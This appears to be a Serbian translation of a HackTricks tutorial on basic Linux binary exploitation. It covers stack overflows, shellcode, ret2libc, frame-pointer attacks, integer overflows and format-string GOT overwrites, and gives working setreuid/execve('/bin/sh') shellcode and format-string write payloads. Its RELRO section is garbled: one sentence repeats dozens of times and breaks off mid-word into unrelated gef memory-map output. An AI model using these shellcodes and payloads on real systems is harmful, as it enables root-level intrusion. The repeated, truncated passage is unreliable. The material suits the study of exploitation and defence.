hacktricks/exploiting/linux-exploiting-basic-esp
2024-03-29 12:47:40 +00:00
..
rop-leaking-libc-address Translated to Serbian 2024-02-10 13:11:20 +00:00
bypassing-canary-and-pie.md Translated to Serbian 2024-02-10 13:11:20 +00:00
format-strings-template.md Translated to Serbian 2024-02-10 13:11:20 +00:00
fusion.md Translated to Serbian 2024-02-10 13:11:20 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-03-29 12:47:40 +00:00
ret2lib.md Translated to Serbian 2024-02-10 13:11:20 +00:00
rop-syscall-execv.md Translated to Serbian 2024-02-10 13:11:20 +00:00

Linux Exploiting (Osnovno)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

1. PREKORAČENJE STOGA

prekoračenje bafera, prekoračenje stoga, prekoračenje steka, stekovanje

Segmentation fault ili segment violation: Kada se pokuša pristupiti adresi memorije koja nije dodeljena procesu.

Za dobijanje adrese funkcije unutar programa može se uraditi:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Poziv funkcije sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Pogledajte prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; čistimo eax
xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Izvršavanje syscall-a

nasm -f elf assembly.asm —> Vraća .o datoteku
ld assembly.o -o shellcodeout —> Daje nam izvršnu datoteku sastavljenu od asemblerskog koda i možemo izvući opkodove pomoću objdump
objdump -d -Mintel ./shellcodeout —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove

Proverite da li shellcode radi

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u strace ./PROGRAMA_COMPILADO

Prilikom kreiranja shellcode-ova možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.

PRIMER TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EKSPLOATISANJE korišćenjem Stack-a (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Lovac na jaja:

Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda.

Polimorfni shellkodovi

To su šifrovani shellkodovi koji imaju male kodove koji ih dešifruju i skoče na njih, koristeći trik Call-Pop, ovde je primer Cezarove šifre:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode
  1. Napad na pokazivač okvira (EBP)

Koristan u situaciji kada možemo izmeniti EBP, ali ne i EIP.

Poznato je da prilikom izlaska iz funkcije izvršava sledeći asemblerski kod:

movl               %ebp, %esp
popl                %ebp
ret

Na ovaj način, ako se može promeniti EBP prilikom izlaska iz funkcije (fvuln) koja je pozvana iz druge funkcije, kada funkcija koja je pozvala fvuln završi, njen EIP može biti promenjen.

U fvuln se može uneti lažni EBP koji pokazuje na mesto gde se nalazi adresa shell koda + 4 (treba dodati 4 zbog pop operacije). Na taj način, prilikom izlaska iz funkcije, vrednost &(&Shellcode)+4 će biti smeštena u ESP, nakon pop operacije će se smanjiti vrednost ESP za 4 i on će pokazivati na adresu shell koda kada se izvrši ret.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + punjenje + &(&Shellcode)+4

Off-by-One Exploit
Dozvoljava se modifikacija samo najmanjeg bajta EBP. Može se izvesti napad kao prethodni, ali memorija koja čuva adresu shell koda mora deliti prva 3 bajta sa EBP.

4. Metode povratka na Libc

Korisna metoda kada stack nije izvršiv ili ostavlja vrlo mali bafer za modifikaciju.

ASLR uzrokuje da se funkcije u svakom izvršavanju učitavaju na različite pozicije u memoriji. Stoga ova metoda možda neće biti efikasna u tom slučaju. Za udaljene servere, budući da se program stalno izvršava na istoj adresi, ova metoda može biti korisna.

  • cdecl(C deklaracija) Stavlja argumente na stack i nakon izlaska iz funkcije čisti stek
  • stdcall(standardni poziv) Stavlja argumente na stek i funkcija koja je pozvana čisti stek
  • fastcall Stavlja prva dva argumenta u registre, a ostale na stek

Stavlja se adresa system funkcije iz libc i prosleđuje se kao argument string “/bin/sh”, obično iz okoline. Takođe, koristi se adresa funkcije exit kako bi se program izašao bez problema nakon što shell više nije potreban (i zapisivanje logova).

export SHELL=/bin/sh

Za pronalaženje potrebnih adresa može se pogledati unutar GDB-a:
p system
p exit
rabin2 -i izvršiv —> Daje adresu svih funkcija koje program koristi prilikom učitavanja
(Unutar starta ili nekog breakpointa): x/500s $esp —> Tražimo string /bin/sh unutar ovoga

Kada imamo ove adrese, exploit će izgledati ovako:

“A” * RAZDALJINA EBP + 4 (EBP: mogu biti 4 "A" mada je bolje ako je pravi EBP da se izbegnu segmentacione greške) + Adresa system (prepisuje EIP) + Adresa exit (nakon system(“/bin/sh”) ova funkcija će biti pozvana jer se prva 4 bajta steka tretiraju kao sledeća adresa EIP-a za izvršavanje) + Adresa “/bin/sh” (biće parametar prosleđen system funkciji)

Na ovaj način, EIP će biti prepisan adresom system funkcije koja će primiti string “/bin/sh” kao argument, a nakon izlaska iz nje izvršiće se funkcija exit().

Moguće je da se nađete u situaciji da je neki bajt neke adrese neaktivan ili prazan (\x20). U tom slučaju možete rasklopiti prethodne adrese funkcija jer će verovatno biti više NOP instrukcija koje će vam omogućiti da pozovete neku od njih umesto same funkcije direktno (na primer sa > x/8i system-4).

Ova metoda funkcioniše jer kada se pozove funkcija poput system koristeći opcode ret umesto call, funkcija shvata da će prva 4 bajta biti adresa EIP na koju treba vratiti.

Interesantna tehnika sa ovom metodom je pozivanje strncpy() kako bi se prebacio payload sa steka na hip i zatim koristio gets() za izvršavanje tog payload-a.

Još jedna interesantna tehnika je korišćenje mprotect() koja omogućava dodeljivanje željenih dozvola bilo kojem delu memorije. Funkcioniše ili je funkcionisalo u BDS-u, MacOS-u i OpenBSD-u, ali ne i u Linuxu (kontroliše da ne možete istovremeno dodeliti dozvole za pisanje i izvršavanje). Ovim napadom moglo bi se ponovo postaviti stek kao izvršiv.

Nizanje funkcija

Na osnovu prethodne tehnike, ovaj oblik exploit-a sastoji se od:
Punjenje + &Funkcija1 + &pop;ret; + &arg_fun1 + &Funkcija2 + &pop;ret; + &arg_fun2 + …

Na ovaj način mogu se nizati funkcije koje treba pozvati. Takođe, ako se žele koristiti funkcije sa više argumenata, mogu se postaviti potrebni argumenti (npr. 4) i postaviti sva 4 argumenta i pronaći adresu sa opcodovima: pop, pop, pop, pop, ret —> objdump -d izvršiv

Nizanje putem falsifikovanja okvira (nizanje EBPa)

Sastoji se u iskorišćavanju mogućnosti manipulacije EBP-om kako bi se nizale izvršavanje različitih funkcija putem EBP-a i "leave;ret"

PUNJENJE

  • Postavljamo lažni EBP koji pokazuje na: 2. lažni EBP + funkcija za izvršavanje: (&system() + &leave;ret + &“/bin/sh”)
  • U EIP postavljamo adresu funkcije &(leave;ret)

Započinjemo shell kod sa adresom sledećeg dela shell koda, na primer: 2. lažni EBP + &system() + &(leave;ret;) + &”/bin/sh”

  1. lažni EBP bi bio: 3. lažni EBP + &system() + &(leave;ret;) + &”/bin/ls”

Ovaj shell kod se može ponavljati neograničeno u delovima memorije do kojih se može pristupiti, tako da će se shell kod lako podeliti na male delove memorije.

(Izvršavanje funkcija se niza kombinovanjem ranije viđenih ranjivosti EBP-a i ret2lib)

5. Dodatne metode

Ret2Ret

Korisno kada nije moguće ubaciti adresu sa steka u EIP (proverava se da EIP ne sadrži 0xbf) ili kada nije moguće izračunati lokaciju shell koda. Međutim, ranjiva funkcija prihvata parametar (shell kod će biti ovde).

Na ovaj način, menjanjem EIP-a sa adresom ret, učitaće se sledeća adresa (koja je adresa prvog argumenta funkcije). Drugim rečima, učitaće se shell kod.

Exploit će izgledati ovako: SHELLCODE + Punjenje (do EIP-a) + &ret (sledeći bajtovi steka pokazuju na početak shell koda jer se adresa prosleđuje kao argument)

Izgleda da funkcije poput strncpy nakon završetka uklanjaju sa steka adresu gde je čuvan shell kod, onemogućavajući ovu tehniku. Drugim rečima, adresa koja se prosleđuje funkciji kao argument (ona koja čuva shell kod) se menja u 0x00, pa kada se pozove drugi ret nailazi se na 0x00 i program se ruši.

**Ret2PopRet**

Muratova tehnika

Ukoliko nemamo kontrolu nad prvom argumentom, ali imamo nad drugim ili trećim, možemo prepisati EIP adresu sa adresom pop-ret ili pop-pop-ret, u zavisnosti koja nam je potrebna.

U Linuxu, svi programi se mapiraju počevši od 0xbfffffff.

Posmatrajući kako se konstruiše stek novog procesa u Linuxu, možemo razviti eksploit tako da program bude pokrenut u okruženju gde je jedina promenljiva shellcode. Adresu ove promenljive možemo izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

Na ovaj način, lako možemo dobiti adresu gde se nalazi promenljiva okruženja sa shellcode.

Ovo je moguće zahvaljujući funkciji execle koja omogućava kreiranje okruženja sa samo željenim promenljivama okruženja.

Skok na ESP: Windows stil

Budući da ESP uvek pokazuje na početak steka, ova tehnika podrazumeva zamenu EIP adrese sa adresom poziva jmp esp ili call esp. Na ovaj način, shellcode se čuva nakon prepisivanja EIP jer nakon izvršenja ret, ESP će pokazivati na sledeću adresu, tačno tamo gde je sačuvana shellcode.

U slučaju da ASLR nije aktiviran u Windowsu ili Linuxu, možemo pozvati jmp esp ili call esp koji su smešteni u nekom deljenom objektu. U slučaju da je ASLR aktivan, možemo potražiti unutar samog ranjivog programa.

Takođe, mogućnost postavljanja shellcode nakon korupcije EIP umesto u sredini steka omogućava da push ili pop instrukcije koje se izvrše usred funkcije ne dodirnu shellcode (što bi se moglo desiti ako bi bila postavljena u sredini steka funkcije).

Na veoma sličan način, ako znamo da funkcija vraća adresu gde je sačuvana shellcode, možemo pozvati call eax ili jmp eax (ret2eax).

Prekoračenja celih brojeva

Ova vrsta prekoračenja se dešava kada promenljiva nije spremna da podrži tako veliki broj koji joj se prosleđuje, možda zbog zabune između promenljivih sa i bez znaka, na primer:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

U prethodnom primeru vidimo da program očekuje 2 parametra. Prvi je dužina sledećeg niza, a drugi je niz.

Ako prosledimo negativan broj kao prvi parametar, program će prikazati da je len < 256 i proći će kroz taj filter, a takođe će strlen(buffer) biti manji od l, jer je l unsigned int i biće veoma velik.

Ovaj tip preplavljenosti ne pokušava da nešto upiše u proces programa, već da prevaziđe loše dizajnirane filtere kako bi iskoristio druge ranjivosti.

Nekonfigurisane promenljive

Nije poznata vrednost koju može imati nekonfigurisana promenljiva i bilo bi zanimljivo posmatrati je. Moguće je da će uzeti vrednost koju je imala promenljiva iz prethodne funkcije i da je ova kontrolisana od strane napadača.

Formatiranje stringova

U programskom jeziku C, printf je funkcija koja se može koristiti za ispisivanje određenog niza karaktera. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti koje će zameniti formate iz sirovog teksta.

Ranjivost se pojavljuje kada napadačev tekst bude postavljen kao prvi argument ovoj funkciji. Napadač će moći da oblikuje specijalan unos zloupotrebom mogućnosti formatiranja stringova printf funkcije kako bi upisao bilo koje podatke na bilo koju adresu. Na taj način može izvršiti proizvoljan kod.

Formati:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n upisuje broj napisanih bajtova na naznačenu adresu. Pisanje toliko bajtova koliko je heksadecimalni broj koji treba napisati je način kako možete napisati bilo koje podatke.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

GOT (Global Offsets Table) / PLT (Procedure Linkage Table)

Ovo je tabela koja sadrži adresu spoljnih funkcija koje koristi program.

Dobijte adresu ove tabele sa: objdump -s -j .got ./exec

Primetite kako nakon učitavanja izvršnog fajla u GEF-u možete videti funkcije koje se nalaze u GOT-u: gef➤ x/20x 0xDIR_GOT

Korišćenjem GEF-a možete započeti sesiju za debagovanje i izvršiti got da biste videli got tabelu:

U binarnom fajlu, GOT ima adrese funkcija ili odeljak PLT koji će učitati adresu funkcije. Cilj ovog eksploata je da se prepiše unos u GOT-u funkcije koja će biti izvršena kasnije sa adresom PLT funkcije system. Idealno, prepišete GOT funkcije koja će biti pozvana sa parametrima koje kontrolišete (tako da ćete moći da kontrolišete parametre poslate funkciji sistema).

Ako system nije korišćen od strane skripte, funkcija sistema neće imati unos u GOT-u. U tom scenariju, moraćete prvo otkriti adresu funkcije system.

Procedure Linkage Table je tabela samo za čitanje u ELF fajlu koja čuva sve neophodne simbole koji zahtevaju razrešenje. Kada se pozove jedna od ovih funkcija, GOT će preusmeriti tok na PLT kako bi razrešio adresu funkcije i upisao je u GOT. Zatim, sledeći put kada se pozove ta adresa, funkcija se poziva direktno bez potrebe za razrešavanjem.

Možete videti adrese PLT-a sa objdump -j .plt -d ./vuln_binary

Tok eksploatacije

Kao što je objašnjeno ranije, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Idealno bi bilo postaviti adresu shell koda smeštenu u izvršnom odeljku, ali je veoma verovatno da nećete moći da napišete shell kod u izvršnom odeljku. Stoga, druga opcija je da se prepiše funkcija koja prima argumente od korisnika i usmeri je ka funkciji system.

Za pisanje adrese, obično se rade 2 koraka: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi $hn.

HOB se odnosi na 2 viša bajta adrese
LOB se odnosi na 2 niža bajta adrese

Zbog toga kako format string radi, morate prvo napisati manji od [HOB, LOB] pa onda drugi.

Ako je HOB < LOB
[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ako je HOB > LOB
[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Šablon za eksploataciju format stringa

Možete pronaći šablon za eksploataciju GOT-a korišćenjem format stringova ovde:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Essentially this is a structure with functions that will be called before the program finishes. This is interesting if you can call your shellcode just jumping to an address, or in cases where you need to go back to main again to exploit the format string a second time.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Napomena da ovo neće kreirati večnu petlju jer kada se vratite na glavnu funkciju, kanarinci će primetiti, kraj steka može biti oštećen i funkcija više neće biti ponovo pozvana. Dakle, sa ovim ćete moći izvršiti još jedno izvršenje ranjivosti.

Formatiranje stringova za ispis sadržaja

Formatni string takođe može biti zloupotrebljen da izbaci sadržaj iz memorije programa. Na primer, u sledećoj situaciji postoji lokalna promenljiva na steku koja pokazuje na zastavu. Ako pronađete gde je u memoriji pokazivač na zastavu, možete naterati printf da pristupi tom adresi i ispise zastavu:

Dakle, zastava je na 0xffffcf4c

Iz curenja možete videti da je pokazivač na zastavu u 8. parametru:

Dakle, pristupanjem 8. parametru možete dobiti zastavu:

Napomena da nakon prethodnog napada i shvatanja da možete procureti sadržaj, možete postaviti pokazivače na printf na odeljak gde je izvršivi fajl učitan i potpuno ga iskopirati!

DTOR

{% hint style="danger" %} Danas je vrlo čudno naći binarni fajl sa dtor sekcijom. {% endhint %}

Destruktori su funkcije koje se izvršavaju pre završetka programa. Ako uspete upisati adresu shell koda u __DTOR_END__, to će se izvršiti pre završetka programa. Dobijte adresu ovog odeljka sa:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Obično ćete pronaći DTOR sekciju između vrednosti ffffffff i 00000000. Dakle, ako vidite samo te vrednosti, to znači da nema registrovane funkcije. Dakle, prepišite 00000000 sa adresom shell koda da biste ga izvršili.

Formatiranje stringova za preplavljivanje bafera

Sprintf pomera formatiran string u promenljivu. Stoga, možete zloupotrebiti formatiranje stringa da izazovete preplavljivanje bafera u promenljivoj gde se sadržaj kopira. Na primer, payload %.44xAAAA će upisati 44B+"AAAA" u promenljivu, što može izazvati preplavljivanje bafera.

Strukture __atexit

{% hint style="danger" %} Danas je vrlo čudno iskoristiti ovo. {% endhint %}

Atexit() je funkcija kojoj se druge funkcije prosleđuju kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja exit() ili povratka iz main funkcije. Ako možete modifikovati adresu bilo koje od ovih funkcija da pokazuje na shell kod na primer, preuzeti ćete kontrolu nad procesom, ali je to trenutno složenije. Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su šifrovane XOR funkcijom i pomeraji sa slučajnim ključem. Tako da je ovaj vektor napada trenutno nije vrlo koristan bar na x86 i x64_86 arhitekturama. Funkcija za šifrovanje je PTR_MANGLE. Druge arhitekture poput m68k, mips32, mips64, aarch64, arm, hppa... ne implementiraju šifrovanje funkcije jer vraćaju isto što su primile kao ulaz. Tako da bi ove arhitekture bile podložne ovom vektoru napada.

Setjmp() & longjmp()

{% hint style="danger" %} Danas je vrlo čudno iskoristiti ovo. {% endhint %}

Setjmp() omogućava da se sačuva kontekst (registri)
Longjmp() omogućava da se vrati kontekst.
Sačuvani registri su: EBX, ESI, EDI, ESP, EIP, EBP
Ono što se dešava je da se EIP i ESP prosleđuju kroz PTR_MANGLE funkciju, tako da su arhitekture podložne ovom napadu iste kao gore.
Koriste se za oporavak od grešaka ili prekida.
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, tako da ako postoji call ebx, call esi ili call edi unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste modifikovali ESP.

VTable i VPTR u C++

Svaka klasa ima Vtabelu koja je niz pokazivača na metode.

Svaki objekat klase ima VPtr koji je pokazivač na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne prepisivanje VPtr-a, može se modifikovati da pokazuje na lažnu metodu tako da izvršavanje funkcije ode na shell kod.

Preventivne mere i izbegavanja

Return-into-printf

To je tehnika za pretvaranje preplavljivanja bafera u grešku u formatu stringa. Sastoji se od zamene EIP-a tako da pokazuje na printf funkciju i prosleđivanja manipulisanog stringa kao argumenta kako bi se dobile vrednosti o stanju procesa.

Napad na biblioteke

Biblioteke se nalaze na poziciji sa 16 bita nasumičnosti = 65636 mogućih adresa. Ako ranjiv server pozove fork(), prostor adresa memorije je kopiran u proces dete i ostaje netaknut. Tako da se može pokušati izvršiti brute force na funkciju usleep() iz libc prosleđujući joj argument "16" tako da kada duže traje od uobičajenog da odgovori, pronađena je ta funkcija. Znajući gde se ta funkcija nalazi, može se dobiti delta_mmap i izračunati ostale.

Jedini način da budete sigurni da ASLR funkcioniše je korišćenje 64-bitne arhitekture. Tamo nema napada brute force.

Relro

Relro (Read only Relocation) utiče na dozvole memorije slično kao NX. Razlika je u tome što dok sa NX čini stek izvršivim, RELRO čini određene stvari samo za čitanje tako da im ne možemo pisati. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da ovo bude prepreka je sprečavanje pisanja u njih. Najčešći način na koji sam video da

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
